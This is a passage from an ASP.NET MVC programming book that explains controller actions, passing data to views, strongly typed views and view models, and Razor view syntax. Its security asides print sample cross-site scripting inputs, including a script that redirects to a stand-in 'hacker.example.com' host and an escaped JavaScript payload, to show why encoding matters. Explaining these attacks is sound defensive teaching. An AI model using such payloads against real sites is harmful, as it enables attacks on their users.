Name the controller `StoreController` and change the Template to Empty MVC Controller, as shown in Figure 2-11.

FIGURE 2-11

Writing Your Action Methods

Your new `StoreController` already has an `Index` method. You'll use this `Index` method to implement your listing page that lists all genres in your music store. You'll also add two additional methods to implement the two other scenarios you want your `StoreController` to handle: `Browse` and `Details`.

These methods (`Index`, `Browse`, and `Details`) within your controller are called *controller actions*. As you've already seen with the `HomeController.Index()` action method, their job is to respond to URL requests, perform the appropriate actions, and return a response back to the browser or user that invoked the URL.

To get an idea of how a controller action works, follow these steps:

1. Change the signature of the `Index()` method to return a string (rather than an `ActionResult`) and change the return value to "`Hello from Store.Index()`", as follows:

```
//  
// GET: /Store/  
public string Index()  
{  
    return "Hello from Store.Index()";  
}
```

2. Add a `Store` `Browse` action that returns "`Hello from Store.Browse()`" and a `Store` `Details` action that returns "`Hello from Store.Details()`", as shown in the complete code for the `StoreController` that follows:

```
using System;  
using System.Collections.Generic;  
using System.Linq;  
using System.Web;  
using System.Web.Mvc;  
  
namespace MvcMusicStore.Controllers  
{  
    public class StoreController : Controller  
    {  
        //  
        // GET: /Store/  
        public string Index()  
        {  
            return "Hello from Store.Index()";  
        }  
        //  
        // GET: /Store/Browse  
        public string Browse()  
        {  
            return "Hello from Store.Browse()";  
        }  
        //  
        // GET: /Store/Details  
        public string Details()  
        {
```

```
        return "Hello from Store.Details()";
    }
}
```

3. Run the project again and browse the following URLs:

- /Store
- /Store/Browse
- /Store/Details

Accessing these URLs invokes the action methods within your controller and returns string responses, as shown in Figure 2-12.

FIGURE 2-12

A Few Quick Observations

Let's draw some conclusions from this quick experiment:

1. Browsing to /Store/Details caused the Details method of the StoreController class to be executed, without any additional configuration. This is routing in action. We'll talk a little more about routing later in this chapter, and will go into detail in Chapter 9.
2. Though we used Visual Studio tooling to create the controller class, it's a very simple class. The only way you'd know from looking that this was a controller class was that it *inherits from* System.Web.Mvc.Controller.
3. We've put text in a browser with just a controller — we didn't use a model or a view. Although models and views are incredibly useful within ASP.NET MVC, controllers are really at the heart. Every request goes through a controller, whereas some will not need to make use of models and views.

Parameters in Controller Actions

The previous examples have been writing out constant strings. The next step is to make them dynamic actions by reacting to parameters that are passed in via the URL. You can do so by following these steps:

1. Change the `Browse` action method to retrieve a query string value from the URL. You can do this by adding a “genre” parameter of type `string` to your action method. When you do this, ASP.NET MVC automatically passes any query string or form post parameters named “genre” to your action method when it is invoked.

```
//  
// GET: /Store/Browse?genre=?Disco  
public string Browse(string genre)  
{  
    string message =  
        HttpUtility.HtmlEncode("Store.Browse, Genre = " + genre);  
  
    return message;  
}
```

HTML ENCODING USER INPUT

We’re using the `HttpUtility.HtmlEncode` utility method to sanitize the user input. This prevents users from injecting JavaScript code or HTML markup into our view with a link like `/Store/Browse?Genre=<script>window.location='http://hacker.example.com'</script>`.

2. Browse to `/Store/Browse?Genre=Disco`, as shown in Figure 2-13.

FIGURE 2-13

This shows that your controller actions can read a query string value by accepting it as a parameter on the action method.

3. Change the `Details` action to read and display an input parameter named `ID`. Unlike the previous method, you won’t be embedding the `ID` value as a query string parameter. Instead you’ll embed it directly within the URL itself. For example: `/Store/Details/5`.

ASP.NET MVC lets you easily do this without having to configure anything extra. ASP.NET MVC’s default routing convention is to treat the segment of a URL after the

action method name as a parameter named `ID`. If your action method has a parameter named `ID`, then ASP.NET MVC will automatically pass the URL segment to you as a parameter.

```
//  
// GET: /Store/Details/5  
public string Details(int id)  
{  
    string message = "Store.Details, ID = " + id;  
  
    return message;  
}
```

4. Run the application and browse to `/Store/Details/5`, as shown in Figure 2-14.

FIGURE 2-14

As the preceding examples indicate, you can look at controller actions as if the web browser was directly calling methods on your controller class. The class, method, and parameters are all specified as path segments or query strings in the URL, and the result is a string that's returned to the browser. That's a huge oversimplification, ignoring things like:

- The way routing maps URL to actions.
- The fact that you'll almost always use views as templates to generate the strings (usually HTML) to be returned to the browser.
- The fact that actions rarely return raw strings; they usually return the appropriate `ActionResult`, which handles things like HTTP status codes, calling the View templating system, and so on.

Controllers offer a lot of opportunities for customization and extensibility, but you'll probably find that you rarely — if ever — need to take advantage of that. In general use, controllers are called via a URL, they execute your custom code, and they return a view. With that in mind, we'll defer our look at the gory details behind how controllers are defined, invoked, and extended. You'll find those, with other advanced topics, in Chapter 15. You've learned enough about the basics of how controllers work to throw views into the mix, and we'll cover those in Chapter 3.

SUMMARY

Controllers are the conductors of an MVC application, tightly orchestrating the interactions of the user, the model objects, and the views. They are responsible for responding to user input, manipulating the appropriate model objects, and then selecting the appropriate view to display back to the user in response to the initial input.

In this chapter, you learned the fundamentals of how controllers work in isolation from views and models. With this basic understanding of how your application can execute code in response to URL requests, you're ready to tackle the user interface. We'll look at that next.

Views

Phil Haack and Jon Galloway

WHAT'S IN THIS CHAPTER?

- The purpose of views
- Specifying a view
- All about strongly typed views
- Understanding view models
- Adding a view
- Using Razor
- Specifying a partial view

Developers spend a lot of time focusing on crafting well-factored controllers and model objects — and for good reason, because clean, well-written code in these areas forms the basis of a maintainable web application.

But when a user visits your web application in a browser, none of that work is visible. A user's first impression and entire interaction with your application starts with the view.

The view is effectively your application's ambassador to the user — representing your application to the user and providing the basis on which the application is first judged.

Obviously, if the rest of your application is buggy, no amount of spit and polish on the view will make up for the application's shortcomings. Likewise, build an ugly and hard-to-use view, and many users will not give your application a chance to prove just how feature-rich and bug-free it may well be.

In this chapter, we won't show you how to make a pretty view. Visual design is a separate concern from rendering content, although clean markup can make your designer's life a lot easier. Instead, we will demonstrate how views work in ASP.NET MVC and what their responsibilities are, and provide you with the tools to build views that your application will be proud to wear.

THE PURPOSE OF VIEWS

Chapter 2 demonstrated how controllers can return strings, which are then output to the browser. That's useful for getting started with controllers, but in any non-trivial web application, you'll notice a pattern emerging very quickly: Most controller actions need to display dynamic information in HTML format. If the controller actions are just returning strings, they'll be doing a lot of string substitution, which gets messy fast. A templating system is clearly needed, which is where the view comes in.

The view is responsible for providing the user interface (UI) to the user. It is given a reference to the model (the information the controller needs displayed), and the view transforms that model into a format ready to be presented to the user. In ASP.NET MVC, the view accomplishes this by examining a model object handed off to it by the controller and transforming the contents of that to HTML.

NOTE Not all views render HTML. HTML is certainly the most common case when building web applications. But, as the section on action results in Chapter 16 points out, views can render a wide variety of other content types as well.

Let's take a quick look at an example of a view. The following code sample shows a view named `Sample.cshtml` located at the path `/Views/Home/Sample.cshtml`. Don't worry about typing this; it's just for illustration.

LISTING 3-1: Sample view — Sample.cshtml

```
@{
    Layout = null;
}
<!DOCTYPE html>
<html>
    <head><title>Sample View</title></head>
    <body>
        <h1>@ViewBag.Message</h1>
        <p>
            This is a sample view. It's not much to look at,
            but it gets the job done.
        </p>
    </body>
</html>
```

This is an extremely simple example of a view that displays a message set by the controller via the `@ViewBag.Message` expression. You'll learn more about `ViewBag` and other methods for passing information to the view later in this chapter. When this view is rendered, that expression is replaced with the value we set in the controller and output as HTML markup.

Unlike file-based web frameworks such as ASP.NET Web Forms and PHP, views are not themselves directly accessible. You can't point your browser to a view and have it render. Instead, a view is always rendered by a controller that provides the data the view will render. Let's look at one possible controller that might have initiated this view:

LISTING 3-2: Home Controller — HomeController.cs

```
public class HomeController : Controller {
    public ActionResult Sample() {
        ViewBag.Message = "Hello World. Welcome to ASP.NET MVC!";
        return View("Sample");
    }
}
```

Notice that the controller sets the `ViewBag.Message` property to a string and then returns a view named `Sample`. That will correspond to `Sample.cshtml`, which you saw in Listing 3-1. That view will display the value of `ViewBag.Message` that was passed to it.

SPECIFYING A VIEW

In the previous section, you looked at examples of what goes inside a view. In this section, you look at how to specify the view that should render the output for a specific action. It turns out that this is very easy when you follow the conventions implicit in the ASP.NET MVC Framework.

When you create a new project template, you'll notice that the project contains a `Views` directory structured in a very specific manner (see Figure 3-1).

By convention, the `Views` directory contains a folder per controller, with the same name as the controller, but without the `Controller` suffix. Thus, for the `HomeController`, there's a folder in the `views` directory named `Home`.

Within each controller folder, there's a view file for each action method, named the same as the action method. This provides the basis for how views are associated to an action method. For example, an action method can return a `ViewResult` via the `View` method, as follows:

```
public class HomeController : Controller {
    public ActionResult Index() {
        ViewBag.Message = "Modify this template to jump-start
                           your ASP.NET MVC application.";
        return View();
    }
}
```

This method ought to look familiar; it's the `Index` action method of `HomeController` in the default project template.

**FIGURE 3-1**

Notice that unlike the sample in Code Listing 3-2, this controller action doesn't specify the view name. When the view name isn't specified, the `viewResult` returned by the action method applies a convention to locate the view. It first looks for a view with the same name as the action within the `/Views/ControllerName` directory (the controller name without the `Controller` suffix in this case). The view selected in this case would be `/Views/Home/Index.cshtml`.

As with most things in ASP.NET MVC, this convention can be overridden. Suppose that you want the `Index` action to render a different view. You could supply a different view name, as follows:

```
public ActionResult Index() {
    ViewBag.Message = "Modify this template to jump-start
                      your ASP.NET MVC application.";
    return View("NotIndex");
}
```

In this case, it will still look in the `/Views/Home` directory, but choose `NotIndex.cshtml` as the view. In some situations, you might even want to specify a view in a completely different directory structure. You can use the tilde syntax to provide the full path to the view, as follows:

```
public ActionResult Index() {
    ViewBag.Message = "Modify this template to jump-start
                      your ASP.NET MVC application.";
    return View("~/Views/Example/Index.cshtml");
}
```

When using the tilde syntax, you must supply the file extension of the view because this bypasses the view engine's internal lookup mechanism for finding views.

ViewData and ViewBag

The preceding example used a `ViewBag.Message` property to pass information from the controller to the view above. Let's look at that in more detail.

Technically, data is passed from the controllers to the views via a `ViewDataDictionary` (a specialized dictionary class) called `ViewData`. You can set and read values using standard dictionary syntax, as follows:

```
ViewData["CurrentTime"] = DateTime.Now;
```

Although this continues to be available, ASP.NET MVC 3 leveraged the C# 4 `dynamic` keyword to allow for a simpler syntax. The `ViewBag` is a dynamic wrapper around `ViewData`. It allows you to set values as follows:

```
ViewBag.CurrentTime = DateTime.Now;
```

Thus, `ViewBag.CurrentTime` is equivalent to `ViewData["CurrentTime"]`.

For the most part, there isn't a real technical advantage to choosing one syntax over the other. `ViewBag` is just syntactic sugar that some people prefer over the dictionary syntax.

NOTE *Although there might not be a technical advantage to choosing one format over the other, there are some critical differences to be aware of between the two syntaxes.*

One obvious difference is that `ViewBag` works only when the key being accessed is a valid C# identifier. For example, if you place a value in `ViewData["Key With Spaces"]`, you can't access that value using `ViewBag` because the code won't compile.

Another key issue to be aware of is that dynamic values cannot be passed in as parameters to extension methods. The C# compiler must know the real type of every parameter at compile time in order for it to choose the correct extension method.

If any parameter is dynamic, compilation will fail. For example, this code will always fail: `@Html.TextBox("name", ViewBag.Name)`. To work around this, either use `ViewData["Name"]` or cast the value to a specific type: `(string) ViewBag.Name`.

STRONGLY TYPED VIEWS

Suppose you need to write a view that displays a list of `Album` instances. One possible approach is to simply add the albums to the view data dictionary (via the `ViewBag` property) and iterate over them from within the view.

For example, the code in your Controller action might look like this:

```
public ActionResult List() {
    var albums = new List<Album>();
    for(int i = 0; i < 10; i++) {
        albums.Add(new Album {Title = "Product " + i});
    }
    ViewBag.Albums = albums;
    return View();
}
```

In your view, you can then iterate and display the products, as follows:

```
<ul>
@foreach (Album a in (ViewBag.Albums as IEnumerable<Album>)) {
    <li>@a.Title</li>
}
</ul>
```

Notice that we needed to cast `ViewBag.Albums` (which is dynamic) to an `IEnumerable<Album>` before enumerating it. We could have also used the `dynamic` keyword here to clean the view code up, but we would have lost the benefit of IntelliSense when accessing the properties of each `Album` object.

```
<ul>
@foreach (dynamic p in ViewBag.Albums) {
    <li>@p.Title</li>
}
</ul>
```

It would be nice to have the clean syntax afforded by the dynamic example without losing the benefits of strong typing and compile-time checking of things such as correctly typed property and method names. This is where strongly typed views come in.

Remember that `viewData` is a `ViewDataDictionary`, not just a generic `Dictionary`. One reason for this is that it has an additional `Model` property to allow for a specific model object to be available to the view. Since there can be only one model object in `viewData`, it's convenient to use this to pass a specific class to the view. This allows your view to specify the class it is expecting the model object to be, which allows you take advantage of strong typing.

In the `Controller` method, you can specify the model via an overload of the `view` method whereby you pass in the model instance:

```
public ActionResult List() {
    var albums = new List<Album>();
    for (int i = 0; i < 10; i++) {
```

```

        albums.Add(new Album {Title = "Album " + i});
    }
    return View(albums);
}

```

Behind the scenes, this sets the value of the `ViewData.Model` property to the value passed into the `view` method. The next step is to indicate to the view what type of model is using the `@model` declaration. Note that you may need to supply the fully qualified type name (namespace plus type name) of the model type.

```

@model IEnumerable<MvcApplication1.Models.Album>
<ul>
@foreach (Album p in Model) {
    <li>p.Title</li>
}
</ul>

```

To avoid needing to specify a fully qualified type name for the model, you can make use of the `@using` declaration.

```

@using MvcApplication1.Models
@model IEnumerable<Album>
<ul>
@foreach (Album p in Model) {
    <li>p.Title</li>
}
</ul>

```

An even better approach for namespaces that you end up using often within views is to declare the namespace in the `web.config` file within the `Views` directory.

```

@using MvcApplication1.Models
<system.web.webPages.razor>
    ...
<pages pageBaseType="System.Web.Mvc.WebViewPage">
    <namespaces>
        <add namespace="System.Web.Mvc" />
        <add namespace="System.Web.Mvc.Ajax" />
        <add namespace="System.Web.Mvc.Html" />
        <add namespace="System.Web.Routing" />

        <add namespace="MvcApplication1.Models" />
    </namespaces>
</pages>
</system.web.webPages.razor>

```

To see the previous two examples in action, use NuGet to install the `Wrox.ProMvc4.Views` `.AlbumList` package into a default ASP.NET MVC 4 project, as follows:

```
Install-Package Wrox.ProMvc4.Views.AlbumList
```

This places the two view examples in the `\Views\Albums` folder and the controller code within the `\Samples\AlbumList` folder. Hit `Ctrl+F5` to run the project and visit `/albums/listweaklytyped` and `/albums/liststronglytyped` to see the result of the code.

VIEW MODELS

Often a view needs to display a variety of data that doesn't map directly to a domain model. For example, you might have a view meant to display details about an individual product. But that same view also displays other information that's ancillary to the product, such as the name of the currently logged-in user, whether that user is allowed to edit the product or not, and so on.

One easy approach to displaying extra data that isn't a part of your view's main model is to simply stick that data in the `ViewBag`. It certainly gets the job done and provides a flexible approach to displaying data within a view.

But it's not for everyone. You may want to tightly control the data that flows into your view and have it all be strongly typed so your view authors can take advantage of IntelliSense.

One approach you might take is to write a custom view model class. You can think of a view model as a model that exists just to supply information for a view. Note that the term "view model" here is different from the concept of view model within the Model View ViewModel (MVVM) pattern. That's why I tend to use the term "view specific model" when I discuss view models.

For example, if you had a shopping cart summary page that needed to display a list of products, the total cost for the cart, and a message to the user, you could create the `ShoppingCartViewModel` class, shown as follows:

```
public class ShoppingCartViewModel {
    public IEnumerable<Product> Products { get; set; }
    public decimal CartTotal { get; set; }
    public string Message { get; set; }
}
```

Now you can make a view strongly typed to this model, using the following `@model` directive:

```
@model ShoppingCartViewModel
```

This gives you the benefits of a strongly typed view (including type checking, IntelliSense, and freedom from having to cast untyped `ViewDataDictionary` objects) without requiring any changes to the `Model` classes.

To see an example of this shopping cart view model, run the following command in NuGet:

```
Install-Package Wrox.ProMvc4.Views.ViewModel
```

The preceding sections introduced a few concepts related to models as they relate to the view. The following chapter discusses models in much greater detail.

ADDING A VIEW

In the section "Specifying a View," you learned how a controller specifies a view. But how does that view get created in the first place? You could certainly create a file by hand and add it to your `Views` directory, but the ASP.NET MVC tooling for Visual Studio makes it very easy to add a view using the Add View dialog.

Understanding the Add View Dialog Options

The easiest way to display the Add View dialog is to right-click in an action method. For this example, you'll add a new action method named `Edit` and then create a view for that action using the Add View dialog. Begin by adding an `Edit` action method to the `HomeController` in an MVC 4 application that contains the following code:

```
public ActionResult Edit()
{
    return View();
}
```

Next, launch the Add View dialog by right-clicking within an action method and selecting Add View (see Figure 3-2).

FIGURE 3-2

This brings up the Add View dialog, as shown in Figure 3-3.

FIGURE 3-3

The following list describes each menu item in detail:

- **View name:** When launching this dialog from the context of an action method, the view name is prepopulated using the name of the action method. Naturally, the view name is required.
- **View engine:** The second option in the dialog is the view engine. Starting in ASP.NET MVC 3, the Add View dialog supports multiple view engine options. We'll cover more about view engines later in this chapter. By default, there are two options in the dialog, Razor and ASPX. This drop-down is extensible so that third party view engines can be listed in the drop-down.
- **Create a strongly-typed view:** Selecting the checkbox labeled Create a strongly-typed view enables typing in or selecting a model class. The list of types in the drop-down is populated using reflection, so make sure to compile the project at least once before selecting a model type.
- **Scaffold template:** Once you select a type, you can also choose a scaffold template. These templates use the Visual Studio T4 templating system to generate a view based on the model type selected and are listed in Table 3-1.

TABLE 3-1: View Scaffold Types

SCAFFOLD	DESCRIPTION
Empty	Creates an empty view. Only the model type is specified using the @model syntax.
Create	Creates a view with a form for creating new instances of the model. Generates a label and input field for each property of the model type.
Delete	Creates a view with a form for deleting existing instances of the model. Displays a label and the current value for each property of the model.
Details	Creates a view that displays a label and the value for each property of the model type.
Edit	Creates a view with a form for editing existing instances of the model. Generates a label and input field for each property of the model type.
List	Creates a view with a table of model instances. Generates a column for each property of the model type. Make sure to pass an IEnumerable<YourModelType> to this view from your action method. The view also contains links to actions for performing the create/edit/delete operations.

- **Reference script libraries:** This option is used to indicate whether the view you are creating should include references to a set of JavaScript files if it makes sense for the view. By default, the _Layout.cshtml file references the main jQuery library, but doesn't reference the jQuery Validation library or the Unobtrusive jQuery Validation library.

When creating a view that will contain a data entry form, such as an Edit view or a Create view, checking this option ensures that the generated view does reference these libraries. These libraries are necessary for implementing client-side validation. In all other cases, this checkbox is completely ignored.

NOTE *For custom view scaffold templates and other view engines, the behavior of this checkbox may vary, as it's entirely controlled by the particular view scaffold T4 template.*

- **Create as a partial view:** Selecting this option indicates that the view you will create is not a full view, thus the Layout option is disabled. For the Razor view engine, the resulting partial view looks much like a regular view, except there will be no `<html>` tag or `<head>` tag at the top of the view.
- **Use a layout or master page:** This option determines whether or not the view you are creating will reference a layout (or master page) or will be a fully self-contained view. For Razor view engines, specifying a layout is not necessary if you choose to use the default layout because the layout is already specified in the `_ViewStart.cshtml` file. However, this option can be used to override the default Layout file.

CUSTOMIZING SCAFFOLDED VIEWS

As mentioned throughout this section, the scaffolded views are generated using T4 templates. You can both customize the existing templates and add new templates, as discussed in Chapter 15, “Advanced Topics.”

The Add View dialog really gets interesting when you’re working with models. You’ll see that in detail in Chapter 4, which walks through building out models and creating scaffolded views using the view scaffold types we’ve just discussed.

THE RAZOR VIEW ENGINE

The previous two sections looked at how to specify a view from within a controller as well as how to add a view. However, they didn’t cover the syntax that goes inside of a view. ASP.NET MVC includes two different view engines, the newer Razor view engine and the older Web Forms view engine. This section covers the Razor view engine, which includes the Razor syntax, layouts, partial views, and so on.

What Is Razor?

The Razor view engine was introduced with ASP.NET MVC 3 and is the default view engine moving forward. This chapter focuses on Razor and does not cover the Web Forms view engine.

Razor is the response to one of the most requested suggestions received by the ASP.NET MVC feature team — to provide a clean, lightweight, simple view engine that didn't contain the “syntactic cruft” contained in the existing Web Forms view engine. Many developers felt all that syntactic noise required to write a view created friction when trying to read that view.

This request was finally answered in ASP.NET MVC 3 with the introduction of the Razor view engine.

Razor provides a streamlined syntax for expressing views that minimizes the amount of syntax and extra characters. It effectively gets out of your way and puts as little syntax as possible between you and your view markup. Many developers who have written Razor views have commented on feeling the view code just flowing from their fingertips, akin to a mind-meld with their keyboard. This feeling is enhanced with the first-rate IntelliSense support for Razor in Visual Studio.

PRODUCT TEAM ASIDE

The precursor that led to Razor started off as a prototype (by Dmitry Robzman) that attempted to preserve some of the goodness of the ASP.NET MVC approach, at the same time allowing for a simpler (one page at a time) development model.

His prototype was named Plan9, after the 1959 science fiction/horror film *Plan 9 from Outer Space*, considered to be one of the worst movies ever made.

Plan9 later became ASP.NET Web Pages (the default runtime framework for Web Matrix), which provides a very simple inline style of web development similar in spirit to PHP or classic ASP, but using Razor syntax. Many members of the ASP.NET team still use the term “Plan9” internally when referring to this technology.

ASP.NET MVC 3 also adopted the Razor syntax, which provides a nice “graduation” story for developers who start with ASP.NET Web Pages but decide to move to ASP.NET MVC.

Razor accomplishes this by understanding the structure of markup so that it can make the transitions between code and markup as smooth as possible. To understand what is meant by this, some examples will help. The following example demonstrates a simple Razor view that contains a bit of view logic:

```
@{  
    // this is a block of code. For demonstration purposes,  
    // we'll create a "model" inline.  
    var items = new string[] {"one", "two", "three"};  
}  
<html>  
<head><title>Sample View</title></head>  
<body>  
    <h1>Listing @items.Length items.</h1>  
    <ul>  
        @foreach(var item in items) {  
            <li>The item name is @item.</li>  
        }  
    </ul>  
</body>  
</html>
```

```
</ul>
</body>
</html>
```

The previous code sample uses C# syntax, which means the file has the `.cshtml` file extension. Similarly, Razor views, which use the Visual Basic syntax, have the `.vbhtml` file extension. These file extensions are important, as they signal the code language syntax to the Razor parser.

DON'T OVERTHINK IT

We're about to dig into the mechanics of Razor syntax. Before we do, the best advice I can give you is to remember that Razor was designed to be easy and intuitive. For the most part, you don't have to worry about Razor syntax — just type HTML and hit the @ sign when you want to insert some code.

Code Expressions

The key transition character in Razor is the “at” sign (@). This single character is used to transition from markup to code and sometimes also to transition back. There are two basic types of transitions: code expressions and code blocks. Expressions are evaluated and written to the response.

For example, in the following snippet:

```
<h1>Listing @stuff.Length items.</h1>
```

notice that the expression `@stuff.Length` is evaluated as an implicit code expression and the result, 3, is displayed in the output. One thing to notice, though, is that we didn't need to demarcate the end of the code expression. In contrast, with a Web Forms view, which supports only explicit code expressions, this would look like:

```
<h1>Listing <%: stuff.Length %> items.</h1>
```

Razor is smart enough to know that the space character after the expression is not a valid identifier, so it transitions smoothly back into markup.

Notice that in the unordered list, the character after the `@item` code expression *is* a valid code character. How does Razor know that the dot after the expression isn't meant to start referencing a property or method of the current expression? Well, Razor peeks at the next character and sees an angle bracket, which isn't a valid identifier and transitions back into markup mode. Thus the first list item will render out:

```
<li>The item name is one.</li>
```

This ability for Razor to automatically transition back from code to markup is one of its big appeals and is the secret sauce in keeping the syntax compact and clean. However, it may make some of you worry that ambiguities can occur. For example, what if we had the following Razor snippet?

```
@{
    string rootNamespace = "MyApp";
}
<span>@rootNamespace.Models</span>
```

In this particular case, what we hoped to output was:

```
<span>MyApp.Models</span>
```

Instead, we get an error that there is no `Models` property of `string`. In this admittedly edge case, Razor couldn't understand our intent and thought that `@rootNamespace.Models` was our code expression. Fortunately, Razor also supports explicit code expressions by wrapping them in parentheses:

```
<span>@(rootNamespace).Models</span>
```

This tells Razor that `.Models` is literal text and not part of the code expression.

While we're on the topic of code expressions, we should also look at the case where you intend to show an e-mail address. For example, consider the following e-mail address:

```
<span>support@megacorp.com</span>
```

At first glance, this seems like it would cause an error because `@megacorp.com` looks like a valid code expression where we're trying to print out the `com` property of the `megacorp` variable.

Fortunately, Razor is smart enough to recognize the general pattern of an e-mail address and will leave this expression alone.

NOTE Razor uses a very simple algorithm to determine whether something looks like an e-mail address. It's not meant to be perfect, but it handles most cases. Some valid e-mails may appear not to be e-mails, in which case you can always escape the @ sign with an @@ sign.

But, of course, what if you really did mean for this to be an expression? For example, going back to an earlier example in this section, what if you had the following list items:

```
<li>Item_@item.Length</li>
```

In this particular case, that expression seems to match an e-mail address, so Razor will print it out verbatim. But it just so happens that we expected the output to be something like:

```
<li>Item_3</li>
```

Once again, parentheses to the rescue! Any time there's an ambiguity in Razor, you can use parentheses to be explicit about what you want. You are in control.

```
<li>Item_@(item.Length)</li>
```

As mentioned earlier, you can escape the `@` sign with an `@@` sign. This comes in handy when you need to display some Twitter handles, which conventionally start with an `@` sign:

```
<p>
    You should follow
    @haacked, @jongalloway, @bradwilson, @odetocode
</p>
```

Well, Razor is going to attempt to resolve those implicit code expressions and fail. In the case where you need to escape the @ sign, you can do so by using an @@ sign. Thus this view becomes:

```
<p>
    You should follow
    @@haacked, @@jongalloway, @@bradwilson, @@odetocode
</p>
```

Fortunately, the extra parentheses and escape sequences are rarely needed. Even in very large applications these extra bits of sequences might not be used at all. Rest assured that the Razor view engine was designed with terseness in mind and that you won't have to fight it to get what you want, how you want it.

HTML Encoding

Given that there are many cases where a view is used to display user input, such as a blog post comment or a product review, there's always the potential for cross-site script injection attacks (also known as XSS, which is covered in more detail in Chapter 7). The good news is that Razor expressions are automatically HTML encoded.

```
@{
    string message = "<script>alert('haacked!');</script>";
}
<span>@message</span>
```

This code will not result in an alert box popping up but will instead render the encoded HTML:

```
<span>&lt;script&gt;alert ('haacked!');&lt;/script&gt;</span>
```

However, in cases where you intend to show HTML markup, you can return an instance of `System.Web.IHtmlString` and Razor will not encode it. For example, all the view helpers we'll discuss later in this section return instances of this interface because they *want* HTML to be rendered to the page. You can also create an instance of `HtmlString` or use the `Html.Raw` convenience method:

```
@{
    string message = "<strong>This is bold!</strong>";
}
<span>@Html.Raw(message)</span>
```

This will result in the message being displayed without HTML encoding:

```
<span><strong>This is bold!</strong></span>
```

This automatic HTML encoding is great for mitigating XSS vulnerabilities by encoding user input meant to be displayed as HTML, but it is not sufficient for displaying user input within JavaScript. For example:

```
<script type="text/javascript">
    $(function () {
        var message = 'Hello @ViewBag.Username';
        $('#message').html(message).show('slow');
    });
</script>
```

In this code snippet, a JavaScript variable, `message`, is being set to a string, which includes the value of a user-supplied username. The username comes from a Razor expression.

Using the jQuery `HTML` method, this message is set to be the HTML for a DOM element in the ID “`message`.” Even though the username is HTML encoded within the message string, there is still a potential XSS vulnerability. For example, if someone supplies the following as their username, the HTML will be set to a script tag that will get evaluated:

```
\x3cscript\x3e%20alert(\x27pwnd\x27)%20\x3c/script\x3e
```

When setting variables in JavaScript to values supplied by the user, it’s important to use JavaScript string encoding and not just HTML encoding. Use the `@Ajax.JavaScriptStringEncode` to encode the input. Here’s the same code again using this method to better protect against XSS attacks:

```
<script type="text/javascript">
$(function () {
    var message = 'Hello @Ajax.JavaScriptStringEncode(ViewBag.Username)';
    $('#message').html(message).show('slow');
});
</script>
```

NOTE It’s very important to understand the security implications of HTML and JavaScript encoding. Incorrect encoding can put both your site and your users at risk. These aspects are discussed in detail in Chapter 7.

Code Blocks

In addition to code expressions, Razor also supports code blocks within a view. Going back to the sample view, you may remember seeing a `foreach` statement:

```
@foreach(var item in stuff) {
    <li>The item name is @item.</li>
}
```

This block of code iterates over an array and displays a list item element for each item in the array.

What’s interesting about this statement is how the `foreach` statement automatically transitions to markup with the open `` tag. Sometimes, when people see this code block, they assume that the transition occurs because of the new line character, but the following valid code snippet shows that’s not the case:

```
@foreach(var item in stuff) {<li>The item name is @item.</li>}
```

Because Razor understands the structure of HTML markup, it also transitions automatically back to code when the `` tag is closed. Thus we didn’t need to demarcate the closing curly brace at all.

Contrast this to the Web Forms view engine equivalent snippet, where the transitions between code and markup have to be explicitly denoted:

```
<% foreach(var item in stuff) { %>
    <li>The item name is <%: item %>.</li>
<% } %>
```

Blocks of code (sometimes referred to as a code block) require curly braces to delimit the block of code in addition to an @ sign. One example of this is in a multi-line code block:

```
@{
    string s = "One line of code.";
    ViewBag.Title "Another line of code";
}
```

Another example of this is when calling methods that don't return a value (i.e., the return type is void):

```
@{Html.RenderPartial("SomePartial");}
```

Note that curly braces are not required for block statements, such as `foreach` loops and `if` statements, because the Razor engine has special knowledge of those C# keywords.

The handy Razor quick reference in the next section, “Razor Syntax Samples,” shows the various Razor syntaxes as well as comparisons to Web Forms.

Razor Syntax Samples

This section provides samples that illustrate the syntax for Razor by comparing a Razor example with the equivalent example using the Web Forms view engine syntax. Each sample highlights a specific Razor concept.

Implicit Code Expression

As described previously, code expressions are evaluated and written to the response. This is typically how you display a value in a view:

Razor	<code>@model.Message</code>
Web Forms	<code><%: model.Message %></code>

Code expressions in Razor are always HTML encoded. This Web Forms syntax also automatically HTML encodes the value.

Explicit Code Expression

Code expressions are evaluated and written to the response. This is typically how you display a value in a view:

RAZOR

```
<span>ISBN@(isbn)</span>
```

Web Forms

```
<span>ISBN<%: isbn %></span>
```

Unencoded Code Expression

In some cases, you need to explicitly render some value that should not be HTML encoded. You can use the `Html.Raw` method to ensure that the value is not encoded.

Razor

```
<span>@Html.Raw(model.Message)</span>
```

Web Forms

```
<span><%: Html.Raw(model.Message) %></span>
```

or

```
<span><%= model.Message %></span>
```

Code Block

Unlike code expressions, which are evaluated and outputted to the response, blocks of code are simply sections of code that are executed. They are useful for declaring variables that you may need to use later.

Razor

```
@{  
    int x = 123;  
    string y = "because.>";  
}
```

Web Forms

```
<%  
    int x = 123;  
    string y = "because.>";  
%>
```

Combining Text and Markup

This example shows what intermixing text and markup looks like using Razor as compared to Web Forms:

Razor

```
@foreach (var item in items) {  
    <span>Item @item.Name.</span>  
}
```

Web Forms

```
<% foreach (var item in items) { %>  
    <span>Item <%: item.Name %>. </span>  
<% } %>
```

Mixing Code and Plain Text

Razor looks for the beginning of a tag to determine when to transition from code to markup. However, sometimes you want to output plain text immediately after a code block. For example, in this sample we display some plain text within a conditional block:

Razor	<pre>@if (showMessage) { <text>This is plain text</text> } or @if (showMessage) { @:This is plain text. }</pre>
Web Forms	<pre><% if (showMessage) { %> This is plain text. <% } %></pre>

Note that there are two different ways of doing this with Razor. The first case uses the special `<text>` tag. The tag itself is a special tag and is not written to the response, only its contents are written out. I personally like this approach because it makes logical sense to me. If I want to transition from code to markup, I use a tag.

Others prefer the second approach, which is a special syntax for switching from code back to plain text, though this approach works only for a single line of text at a time.

Escaping the Code Delimiter

As you saw earlier in this chapter, you can display `@` by encoding it using `@@`. Alternatively, you always have the option to use HTML encoding:

Razor	My Twitter Handle is @haacked or My Twitter Handle is @@haacked
Web Forms	<% expression %> marks a code nugget.

Server-Side Comment

Razor includes a nice syntax for commenting out a block of markup and code:

Razor	<pre>@* This is a multiline server side comment. @if (showMessage) { <h1>@ViewBag.Message</h1> } All of this is commented out. *@ </pre>
Web Forms	<pre><%-- This is a multiline server side comment. <% if (showMessage) { %> <h1><%: ViewBag.Message %></h1> <% } %> All of this is commented out. --%> </pre>

Calling a Generic Method

This is really no different than an explicit code expression. Even so, many folks get tripped up when trying to call a generic method. The confusion comes from the fact that the code to call a generic method includes angle brackets. And as you've learned, angle brackets cause Razor to transition back to markup unless you wrap the whole expression in parentheses.

